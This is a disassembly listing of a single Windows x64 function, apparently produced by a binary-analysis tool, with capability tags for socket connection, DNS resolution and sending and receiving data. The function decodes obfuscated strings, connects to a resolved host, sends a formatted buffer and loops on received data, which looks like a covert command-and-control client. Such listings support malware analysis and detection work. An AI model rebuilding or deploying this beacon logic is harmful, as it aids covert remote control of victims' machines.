Function at 0x140001720
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
xor eax, eax
sub rsp, 0x6b0
mov r13, rcx
mov r14, rdx
mov r12d, r8d
lea rdi, [rbp + 0x10]
mov ecx, 0x33
lea rsi, [rsp + 0x40]
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x10]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001980
mov rax, qword [0x14000a360]
lea rdi, str.8qHC8gMZkgJY_GN16qJP8Ff76xv2KEoD8gu
pxor xmm0, xmm0
lea r15, [rbp - 0x20]
mov rcx, rdi
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm0
mov qword [rbp - 0x1c], rax
mov dword [rbp - 0x14], 6
movaps xmmword [rbp], xmm0
call fcn.140001d50
lea r9, [rbp - 0x28]
mov r8, r15
lea rdx, [0x14000a358]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x140001972
mov rcx, rbx
call sub.msvcrt.dll_free
mov r15, qword [rbp - 0x28]
test r15, r15
je 0x140001959
mov rbx, qword [sym.imp.WS2_32.dll_socket]
mov edx, dword [r15 + 8]
mov ecx, dword [r15 + 4]
mov r8d, dword [r15 + 0xc]
call rbx
mov dword [rbp - 0x34], eax
cmp eax, 0xffffffff
je 0x140001948
movsxd rbx, eax
mov rdx, qword [r15 + 0x20]
mov r8d, dword [r15 + 0x10]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14000198a
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, str.OLNInrWfKPinNaORc1uDoRLSUuJTNtZXvxoprfN16xnMRG4fkBRAnud2Qqfzklu2pUj5nrCx_GhYkF41nuhIntu5c0Vbna4wk08LePijp0RbnEvge0u1orj5SUiE6GpmkPWPotu5otu5oUil_xvf6qJjc1u1orj5tRwi8gpfKERAnEOfQER2_EOMkVLSRGp06xiLcIHCkq4d8G4fe7ifk7dNIPHfk0MHTVDvGRprYa08gN54rdakqp26lfD61ZX6FwwKr5X6lNqklaL6RLSRgJ2_gffe7i16xp1_GJDUN1tRZprX
call fcn.140001d50
mov rcx, rdi
mov r15, rax
call fcn.140001d50
mov rcx, r13
mov rdi, rax
call sub.msvcrt.dll_strlen
mov rcx, r13
mov edx, eax
call fcn.140001b30
mov edx, 0xcccccccd
mov r9, r14
mov r8, r15
mov qword [rsp + 0x30], rax
mov r13, rax
mov eax, r12d
mov rcx, rsi
imul rax, rdx
mov qword [rsp + 0x20], rdi
mov edx, 0x6af
shr rax, 0x23
lea eax, [rax + rax*4]
add eax, eax
sub eax, r12d
add eax, 9
mov dword [rsp + 0x28], eax
call fcn.140001540
mov rcx, r15
call sub.msvcrt.dll_free
mov rcx, rdi
lea rdi, [rsi + 8]
call sub.msvcrt.dll_free
mov rcx, r13
and rdi, 0xfffffffffffffff8
call sub.msvcrt.dll_free
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov rcx, rbx
xor r9d, r9d
mov rdx, rsi
mov r8d, eax
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rsi
xor eax, eax
mov qword [rsi], 0
mov qword [rsi + 0x6a7], 0
sub rcx, rdi
add ecx, 0x6af
shr ecx, 3
rep stosq qword [rdi], rax
mov rdi, qword [sym.imp.WS2_32.dll_recv]
nop dword [rax + rax]
xor r9d, r9d
mov r8d, 0x6af
mov rdx, rsi
mov rcx, rbx
call rdi
test eax, eax
jg 0x140001900
mov edx, 1
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_shutdown]
test eax, eax
jne 0x1400019a2
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
lea rsp, [rbp + 0x1b8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r15, qword [r15 + 0x28]
test r15, r15
jne 0x1400017e8
mov r15, qword [rbp - 0x28]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call sub.msvcrt.dll_exit
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, rbx
call sub.msvcrt.dll_free
mov ecx, 1
call sub.msvcrt.dll_exit
mov ecx, dword [rbp - 0x34]
call sub.msvcrt.dll__close
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call sub.msvcrt.dll_exit
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop word cs:[rax + rax]
nop